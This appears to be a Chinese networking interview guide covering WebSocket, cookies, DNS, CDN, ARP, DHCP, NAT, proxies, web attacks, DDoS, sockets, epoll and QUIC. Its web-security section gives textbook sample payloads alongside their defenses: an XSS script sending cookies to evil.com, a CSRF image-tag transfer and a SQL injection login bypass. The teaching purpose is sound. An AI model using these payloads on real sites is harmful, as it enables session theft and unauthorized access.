|--Frame(Stream1)--|--Frame(Stream2)--|--Frame(Stream1)--|
|--Frame(Stream3)--|--Frame(Stream1)--|--Frame(Stream2)--|
Stream1: Request1的帧
Stream2: Request2的帧
Stream3: Request3的帧
各流独立,互不阻塞
但 HTTP/2 仍有 TCP 层面的队头阻塞: - HTTP/2 的多个流共用一个 TCP 连接 - TCP 是保证有序的,如果底层 TCP 丢了一个包,所有流都会被阻塞等待重传 - 这就是为什么 HTTP/3 改用基于 UDP 的 QUIC 协议
25. 什么是 WebSocket ?它和 HTTP 的关系是什么¶
WebSocket 协议: - 在单个 TCP 连接上提供全双工通信 - 客户端和服务器可以主动向对方发送消息 - 建立在 HTTP 协议之上(通过 HTTP 升级握手)
WebSocket 握手过程:
# 客户端发起HTTP升级请求
GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
# 服务器同意升级
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
# 之后双方通过WebSocket帧通信
WebSocket vs HTTP 对比:
| 维度 | HTTP | WebSocket |
|---|---|---|
| 通信模式 | 请求-响应(单向) | 全双工(双向) |
| 连接 | 短连接或 keep-alive | 持久连接 |
| 实时性 | 需要轮询/长轮询 | 实时推送 |
| 头部开销 | 每次请求都带完整头部 | 握手后帧头很小(2-10 字节) |
| 协议标识 | http:// / https:// | ws:// / wss:// |
| 适用场景 | 传统 Web 请求 | 实时应用 |
WebSocket 应用场景: - 即时通讯(聊天) - 实时数据推送(股票行情、体育比分) - 在线协作编辑 - 多人在线游戏 - 实时日志监控
替代方案对比: - 短轮询:客户端定时发 HTTP 请求,浪费资源 - 长轮询:服务器保持请求直到有数据,再响应 - SSE ( Server-Sent Events ):服务器单向推送,基于 HTTP - WebSocket:双向通信,最适合高频实时场景
26. HTTP 长连接和短连接的区别是什么¶
短连接( HTTP/1.0 默认):
长连接( HTTP/1.1 默认):
Connection 头部:
长连接的优缺点: - 优点:减少 TCP 握手次数,降低延迟,减少服务器资源消耗 - 缺点:长时间占用连接,如果客户端很多但请求频率低,会浪费资源 - 解决:设置超时时间( Keep-Alive: timeout=60, max=100 )
27. 什么是 Cookie 的安全属性?如何安全使用 Cookie¶
Cookie 的安全相关属性:
Set-Cookie: session_id=abc123;
Domain=example.com;
Path=/;
Expires=Thu, 01 Jan 2026 00:00:00 GMT;
Max-Age=86400;
Secure;
HttpOnly;
SameSite=Strict;
| 属性 | 说明 |
|---|---|
| Secure | 仅通过 HTTPS 传输 |
| HttpOnly | JavaScript 无法访问(防 XSS) |
| SameSite | 控制跨站请求携带(防 CSRF) |
| Domain | 限定可用域名 |
| Path | 限定可用路径 |
| Max-Age/Expires | 有效期 |
SameSite 三种值: - Strict:完全禁止第三方请求携带 Cookie - Lax:允许 GET 导航(链接跳转)携带,但禁止 POST 等 - None:允许跨站携带(必须同时设置 Secure )
四、综合题( 13 题)¶
28. 输入 URL 到页面显示的完整过程是什么¶
这是网络面试中最高频的综合题,涉及整个网络通信链路:
1. URL 解析 - 浏览器解析 URL :协议(HTTPS)、域名(www.example.com)、端口(443)、路径(/index.html) - 检查 HSTS 列表,如果在列表中则直接用 HTTPS
2. DNS 解析(域名→IP )
浏览器DNS缓存 → 操作系统DNS缓存 → hosts文件
→ 本地DNS服务器 → 根DNS → 顶级域DNS → 权威DNS
最终获得IP地址, 如: 93.184.216.34
3. 建立 TCP 连接(三次握手)
4. TLS 握手( HTTPS )
Client → ClientHello → Server
Client ← ServerHello + 证书 ← Server
Client → 密钥交换 → Server
双方生成会话密钥
5. 发送 HTTP 请求
GET /index.html HTTP/1.1
Host: www.example.com
User-Agent: Chrome/120
Accept: text/html
Cookie: session_id=abc
6. 服务器处理请求 - 负载均衡器分发请求 - Web 服务器( Nginx )处理静态资源或转发到应用服务器 - 应用服务器处理业务逻辑 - 查询数据库/缓存获取数据 - 返回 HTTP 响应
7. 浏览器接收响应
8. 浏览器解析和渲染
HTML字符串
↓ HTML解析器
DOM树(Document Object Model)
↓
↓ ← CSS解析 → CSSOM树
↓
渲染树(Render Tree) [DOM + CSSOM合并]
↓
布局(Layout/Reflow) [计算位置和大小]
↓
绘制(Paint) [绘制到屏幕]
↓
合成(Composite) [GPU加速, 层合成]
详细过程: 1. 解析 HTML → 构建 DOM 树 2. 遇到 CSS → 构建 CSSOM 树 3. 遇到 JS → 阻塞 DOM 构建,下载执行 JS ( defer/async 可以异步) 4. DOM + CSSOM → 渲染树(不包含不可见元素如 display:none ) 5. 布局:计算每个元素的位置和大小 6. 绘制:绘制到屏幕 7. 合成:将不同层合成最终页面
9. 连接关闭(四次挥手)
29. DNS 解析的详细过程是什么?递归查询和迭代查询有什么区别¶
DNS 解析的完整过程:
1. 浏览器缓存 → 2. 操作系统缓存 → 3. hosts文件
↓ (都没有)
4. 本地DNS服务器(LDNS, 如运营商DNS 8.8.8.8)
↓ (没有缓存)
5. 根域名服务器(.) → 返回.com的顶级域服务器地址
↓
6. 顶级域服务器(.com) → 返回example.com的权威服务器地址
↓
7. 权威域名服务器(example.com) → 返回www.example.com的IP地址
↓
8. 本地DNS服务器缓存结果并返回给客户端
递归查询 vs 迭代查询:
递归查询: - 客户端向本地 DNS 服务器发起请求 - 本地 DNS 服务器如果没有缓存,会代替客户端依次查询 - 最终将结果返回给客户端 - 客户端只需要发一次请求
迭代查询: - 本地 DNS 向根 DNS 请求,根返回"我不知道,你去问.com 服务器" - 本地 DNS 再向.com 服务器请求,返回"你去问 example.com 的权威服务器" - 本地 DNS 再向权威服务器请求,返回最终结果
通常的模式: - 客户端→本地 DNS :递归查询 - 本地 DNS→其他 DNS 服务器:迭代查询
DNS 记录类型: - A 记录:域名→IPv4 地址 - AAAA 记录:域名→IPv6 地址 - CNAME:域名→另一个域名(别名) - MX 记录:邮件服务器地址 - NS 记录:域名的 DNS 服务器 - TXT 记录:文本信息(如 SPF 、 DKIM )
30. CDN 的工作原理是什么¶
CDN ( Content Delivery Network ,内容分发网络):
将内容(静态资源)缓存到离用户最近的边缘节点,减少网络延迟。
CDN 工作流程:
用户 → DNS解析 → CDN智能DNS → 选择最近的边缘节点
↓
边缘节点有缓存?
├── 是 → 直接返回内容(缓存命中)
└── 否 → 回源请求(向源站获取内容)
↓ 缓存到边缘节点
↓ 返回给用户
CDN 的核心技术:
- 智能 DNS 调度:根据用户 IP 、网络状况、节点负载等选择更合适的节点
- 内容缓存:将源站内容缓存在边缘节点
- 内容预推送:主动将内容推送到边缘节点
- 负载均衡:在多个边缘节点间分配流量
CDN 适合加速的内容: - 静态资源:图片、 CSS 、 JS 、视频 - 大文件下载 - 直播/点播视频流 - 动态内容加速(通过智能路由优化回源路径)
CDN 的优势: - 减少延迟:用户就近访问 - 降低源站压力:大部分请求由 CDN 节点处理 - 提高可用性:节点冗余,抗单点故障 - 防 DDoS :分散攻击流量
31. ARP 协议的工作原理是什么¶
ARP ( Address Resolution Protocol ,地址解析协议): 将网络层的 IP 地址解析为数据链路层的 MAC 地址。
为什么需要 ARP ? - 在局域网中,数据帧的传输依赖 MAC 地址 - 应用程序只知道目标 IP ,需要找到对应的 MAC 地址才能封装成帧发送
ARP 工作过程:
主机A(192.168.1.1)要发送数据给主机B(192.168.1.2)
1. 主机A查看ARP缓存表,是否有B的IP→MAC映射
2. 如果没有,广播ARP请求:
"谁是192.168.1.2? 请告诉192.168.1.1(MAC: AA:AA:AA:AA:AA:AA)"
(广播帧, 目的MAC=FF:FF:FF:FF:FF:FF)
3. 网络中所有主机都收到广播
4. 主机B发现是找自己,单播ARP应答:
"我是192.168.1.2,我的MAC是BB:BB:BB:BB:BB:BB"
5. 主机A收到应答,更新ARP缓存表
6. 之后用B的MAC地址封装数据帧发送
ARP 缓存:
ARP 安全问题 - ARP 欺骗: - 攻击者发送伪造的 ARP 应答,将自己的 MAC 与目标 IP 绑定 - 导致数据被发送到攻击者(中间人攻击) - 防御:使用静态 ARP 绑定、 ARP 检测工具、交换机 DAI (动态 ARP 检测)
32. DHCP 协议的工作原理是什么¶
DHCP ( Dynamic Host Configuration Protocol ,动态主机配置协议): 自动为网络中的设备分配 IP 地址和其他网络配置信息。
DHCP 四步骤( DORA 过程):
客户端 DHCP服务器
| |
|-- 1. DHCP Discover (广播) -----> |
| "有DHCP服务器吗?我需要IP" |
| |
|<- 2. DHCP Offer (单播/广播) ---- |
| "我可以给你192.168.1.100" |
| |
|-- 3. DHCP Request (广播) ------> |
| "我接受你提供的192.168.1.100" |
| |
|<- 4. DHCP ACK (单播/广播) ------ |
| "确认,IP已分配给你,租期24小时" |
DHCP 分配的信息: - IP 地址 - 子网掩码 - 默认网关 - DNS 服务器地址 - 租期( Lease Time )
IP 地址租约续约: - 租期过半时,客户端向 DHCP 服务器发送续约请求 - 租期过了 87.5%还没续约成功,向任意 DHCP 服务器广播续约 - 租期到期后, IP 被回收,需要重新发起 DORA
33. NAT 的工作原理和类型是什么¶
NAT ( Network Address Translation ,网络地址转换): 将私有 IP 地址转换为公有 IP 地址,使内网设备可以访问外网。
为什么需要 NAT ? - IPv4 地址不够用( 2^32 ≈ 43 亿) - 私有 IP 地址不能在公网路由 - 隐藏内网结构,提高安全性
NAT 的三种类型:
1. 静态 NAT (一对一) - 一个私有 IP 对应一个公网 IP - 常用于需要外网访问的服务器(如 Web 服务器)
2. 动态 NAT (多对多) - 从公网 IP 池中动态分配 - 用完后归还
3. NAPT/PAT (多对一,最常用) - 多个私有 IP 共享一个公网 IP - 通过端口号区分不同的内网地址
内网设备A: 192.168.1.10:5000 → NAT → 公网IP:60001 → 目标服务器
内网设备B: 192.168.1.20:5000 → NAT → 公网IP:60002 → 目标服务器
内网设备C: 192.168.1.30:8000 → NAT → 公网IP:60003 → 目标服务器
NAT转换表:
| 内网地址:端口 | 公网地址:端口 |
| 192.168.1.10:5000 | 1.2.3.4:60001 |
| 192.168.1.20:5000 | 1.2.3.4:60002 |
| 192.168.1.30:8000 | 1.2.3.4:60003 |
NAT 的问题: - 外网主动访问内网困难(需要端口映射) - P2P 通信受影响(需要 NAT 穿透技术: STUN/TURN/ICE ) - 某些协议在 NAT 下有兼容性问题
34. 正向代理和反向代理的区别是什么¶
正向代理( Forward Proxy ): 代理客户端,客户端通过代理访问目标服务器。服务器不知道真正的客户端是谁。
应用场景: - 科学上网( VPN/代理) - 企业网关(控制员工上网) - 缓存加速 - 隐藏客户端真实 IP
反向代理( Reverse Proxy ): 代理服务器端,客户端向代理发送请求,代理转发到后端服务器。客户端不知道真正的服务器是谁。
应用场景: - 负载均衡 - SSL 终止 - 缓存静态资源 - 安全防护(隐藏后端服务器) - 统一入口/API 网关
| 维度 | 正向代理 | 反向代理 |
|---|---|---|
| 代理对象 | 客户端 | 服务器 |
| 知晓方 | 客户端知道代理 | 客户端不知道后端 |
| 配置方 | 客户端配置 | 服务器端配置 |
| 主要目的 | 访问控制/翻墙 | 负载均衡/安全 |
35. XSS 、 CSRF 和 SQL 注入攻击的原理和防御方法¶
1. XSS ( Cross-Site Scripting ,跨站脚本攻击)
原理: 攻击者将恶意脚本注入到网页中,当其他用户浏览该页面时执行恶意脚本。
三种类型:
- 存储型 XSS:恶意脚本存入数据库(如评论区),每次页面加载都执行
<!-- 评论内容 -->
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
- 反射型 XSS:恶意脚本在 URL 中,服务器将其反射回页面
- DOM 型 XSS:通过修改 DOM 结构在客户端执行恶意脚本
防御方法: 1. 输入过滤和输出编码:对用户输入进行 HTML 实体编码
- CSP ( Content Security Policy ):限制资源加载来源
- HttpOnly Cookie:防止 JavaScript 读取 Cookie
- 使用安全的模板引擎(自动转义)
2. CSRF ( Cross-Site Request Forgery ,跨站请求伪造)
原理: 攻击者诱骗已登录的用户访问恶意页面,利用用户的认证状态( Cookie )向目标站点发送伪造请求。
用户已登录 bank.com(Cookie中有认证信息)
↓
访问恶意网站 evil.com
↓
evil.com页面中hidden的表单/img标签自动向bank.com发送请求:
<img src="http://bank.com/transfer?to=hacker&amount=10000">
↓
浏览器自动携带bank.com的Cookie,请求以用户身份执行
防御方法: 1. CSRF Token:表单中嵌入随机 Token ,服务器验证 2. SameSite Cookie:设置 SameSite=Strict 或 Lax 3. Referer/Origin 检查:验证请求来源 4. 验证码:关键操作要求用户交互确认 5. 自定义请求头: CSRF 无法设置自定义头部
3. SQL 注入( SQL Injection )
原理: 攻击者通过在输入中插入 SQL 语句,改变原有 SQL 逻辑。
-- 正常查询
SELECT * FROM users WHERE username='admin' AND password='123456'
-- 攻击者输入: username = admin' OR '1'='1' --
-- 变成:
SELECT * FROM users WHERE username='admin' OR '1'='1' --' AND password='...'
-- '1'='1'永远为真,绕过密码验证
防御方法: 1. 参数化查询(预编译语句):最有效的防御方式
- ORM 框架:使用 ORM 避免直接写 SQL
- 输入验证:白名单过滤,限制输入类型和长度
- 最小权限:数据库用户使用最小必要权限
- WAF ( Web 应用防火墙):过滤恶意 SQL
36. DDoS 攻击有哪些类型?如何防御¶
DDoS ( Distributed Denial of Service ,分布式拒绝服务): 利用大量被控制的计算机( botnet )向目标发送海量请求,耗尽目标资源导致服务不可用。
常见攻击类型:
网络层攻击: - SYN Flood:发送大量 SYN 包占满半连接队列 - UDP Flood:发送大量 UDP 包耗尽带宽 - ICMP Flood ( Ping Flood ):发送大量 ICMP 包 - Smurf 攻击:伪造源 IP 为受害者 IP ,向广播地址发 ICMP
应用层攻击: - HTTP Flood:发送大量 HTTP 请求 - CC 攻击:模拟正常请求,大量访问消耗资源的页面 - Slowloris:建立大量 HTTP 连接但极慢地发送数据,占满连接数
防御方案: 1. 网络层防御: - 流量清洗( DDoS 防护服务) - 黑洞路由(将攻击流量引到黑洞) - 限制 ICMP/UDP 流量
- 传输层防御:
- SYN Cookie
- 增大 TCP 半连接队列
-
缩短 SYN-ACK 超时时间
-
应用层防御:
- WAF 过滤恶意请求
- 限流/熔断
-
验证码(人机区分)
-
架构层防御:
- CDN 分散流量
- 高防 IP/高防服务器
- 弹性扩容(云服务自动扩展)
- Anycast 网络
37. Socket 编程的基本流程是什么¶
Socket (套接字): 网络通信的端点,提供了进程间网络通信的接口。
TCP Socket 编程流程:
服务器端(Server) 客户端(Client)
| |
socket() 创建套接字 socket()
| |
bind() 绑定IP和端口 |
| |
listen() 监听连接 |
| |
accept() 等待客户端连接 <--------- connect() 发起连接
| (阻塞) |
| 三次握手完成 |
| |
recv() <--------------------------- send() 发送数据
| |
send() ---------------------------> recv() 接收数据
| |
close() 关闭连接 close()
Python TCP Socket 示例:
# 服务器端
import socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # TCP
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', 8080))
server.listen(5) # 最大等待连接数
print("服务器启动,等待连接...")
conn, addr = server.accept() # 阻塞等待
print(f"客户端连接: {addr}")
data = conn.recv(1024) # 接收数据
print(f"收到: {data.decode()}")
conn.send("Hello Client!".encode()) # 发送数据
conn.close()
server.close()
# 客户端
import socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('127.0.0.1', 8080))
client.send("Hello Server!".encode())
data = client.recv(1024)
print(f"收到: {data.decode()}")
client.close()
UDP Socket 编程流程(简单,无连接):
# UDP服务器
server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP
server.bind(('0.0.0.0', 8080))
data, addr = server.recvfrom(1024)
server.sendto(b"response", addr)
# UDP客户端
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(b"hello", ('127.0.0.1', 8080))
data, addr = client.recvfrom(1024)
38. 什么是 IO 多路复用? Select 、 Poll 、 Epoll 有什么区别¶
IO 多路复用: 使用一个线程监听多个 Socket 的 IO 事件,当某个 Socket 就绪时进行处理,避免为每个连接创建一个线程。
select :
fd_set readfds;
FD_ZERO(&readfds);
FD_SET(sockfd, &readfds);
select(maxfd+1, &readfds, NULL, NULL, timeout);
- 将 fd 集合从用户态拷贝到内核态
- 内核遍历所有 fd 检查是否就绪
- 返回就绪 fd 数量,用户态需要再次遍历找到就绪的 fd
- 限制: fd 数量最大 1024 ( FD_SETSIZE )
- 每次调用需要重新设置 fd 集合
poll :
struct pollfd fds[MAX]; // struct结构体:自定义复合数据类型
fds[0].fd = sockfd;
fds[0].events = POLLIN;
poll(fds, nfds, timeout);
- 使用 pollfd 数组替代 bitmap ,没有 1024 限制
- 本质和 select 相同,仍需遍历
- 每次调用需要重新传入 fd 数组
epoll ( Linux 特有,推荐):
int epfd = epoll_create(1); // 创建epoll实例
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &ev); // 注册fd
int n = epoll_wait(epfd, events, MAX, timeout); // 等待就绪
// events数组中直接包含就绪的fd
| 对比 | select | poll | epoll |
|---|---|---|---|
| fd 数量限制 | 1024 | 无限制 | 无限制 |
| 数据结构 | bitmap | 数组 | 红黑树+就绪链表 |
| 内核实现 | 遍历 | 遍历 | 回调 |
| 时间复杂度 | O(n) | O(n) | O(1) |
| fd 拷贝 | 每次全量 | 每次全量 | 仅注册时一次 |
| 触发模式 | 水平触发(LT) | 水平触发(LT) | LT 和边缘触发(ET) |
epoll 的两种触发模式: - LT ( Level Trigger ):只要 fd 就绪就会通知,多次通知,编程简单 - ET ( Edge Trigger ): fd 状态变化时才通知,只通知一次,效率高但需要一次读完
39. 什么是 QUIC 协议?它解决了什么问题¶
QUIC ( Quick UDP Internet Connections ): 由 Google 设计,基于 UDP 实现的传输层协议,是 HTTP/3 的底层协议。
QUIC 解决的问题:
1. TCP 建连延迟( 0-RTT/1-RTT )
TCP + TLS 1.2: 需要3个RTT (TCP握手1RTT + TLS握手2RTT)
TCP + TLS 1.3: 需要2个RTT (TCP握手1RTT + TLS握手1RTT)
QUIC首次: 1个RTT (QUIC整合了传输和加密握手)
QUIC恢复: 0个RTT (使用缓存的密钥)
2. TCP 队头阻塞
3. 连接迁移
TCP: 用(源IP, 源端口, 目的IP, 目的端口)标识连接
网络切换(WiFi→4G)→ IP变化 → 连接断开
QUIC: 用Connection ID标识连接
网络切换 → IP变化但Connection ID不变 → 连接不断
4. 加密范围更广 - TCP 只加密 payload ,头部明文 - QUIC 绝大部分头部字段也加密,防止中间设备窥探
QUIC 的主要特点: - 基于 UDP ,在用户态实现,可以快速迭代 - 集成 TLS 1.3 加密 - 多路复用无队头阻塞 - 连接迁移 - 前向纠错(减少重传) - 改进的拥塞控制
40. 常见的网络排障命令和工具有哪些¶
1. ping — 测试连通性
2. traceroute/tracert — 路由追踪
3. nslookup/dig — DNS 查询
4. netstat/ss — 网络连接状态
5. tcpdump — 抓包
tcpdump -i eth0 host 192.168.1.1 # 抓指定IP的包
tcpdump -i eth0 port 80 # 抓80端口的包
tcpdump -i eth0 tcp and port 443 -w a.pcap # 抓包保存文件
6. curl — HTTP 调试
curl -v https://example.com # 详细输出(含头部)
curl -I https://example.com # 只看响应头
curl -X POST -d '{"key":"value"}' URL # POST请求
curl -w "%{time_total}\n" URL # 显示耗时
7. Wireshark — 图形化抓包分析工具 - 可以分析各层协议细节 - 支持过滤表达式 - 支持 TCP 流追踪
8. ifconfig/ip — 网络接口
排障思路:
1. ping 目标IP → 是否可达?(网络层)
2. telnet IP PORT → 端口是否开放?(传输层)
3. curl URL → HTTP是否正常?(应用层)
4. nslookup → DNS解析是否正常?
5. traceroute → 哪一跳出了问题?
6. tcpdump/Wireshark → 抓包分析具体问题
面试答题技巧¶
- 分层回答:网络问题按 OSI/TCP-IP 层次分析,条理清晰
- 画图辅助:三次握手、四次挥手等用时序图说明
- 结合实际:结合项目中的网络问题排查经验
- 对比记忆: TCP vs UDP 、 HTTP 各版本、 GET vs POST 等用表格对比
- 追问准备:常见追问如"为什么握手三次挥手四次"、"HTTPS 为什么安全"等
⚠️ 核验说明(2026-04-03):本页已完成 2026-04-03 人工复核。协议标识已统一为规范小写写法;网络优化与调度策略按“更合适/更常见”口径表述,避免把启发式方案写成绝对最优。
最后更新日期: 2026-04-03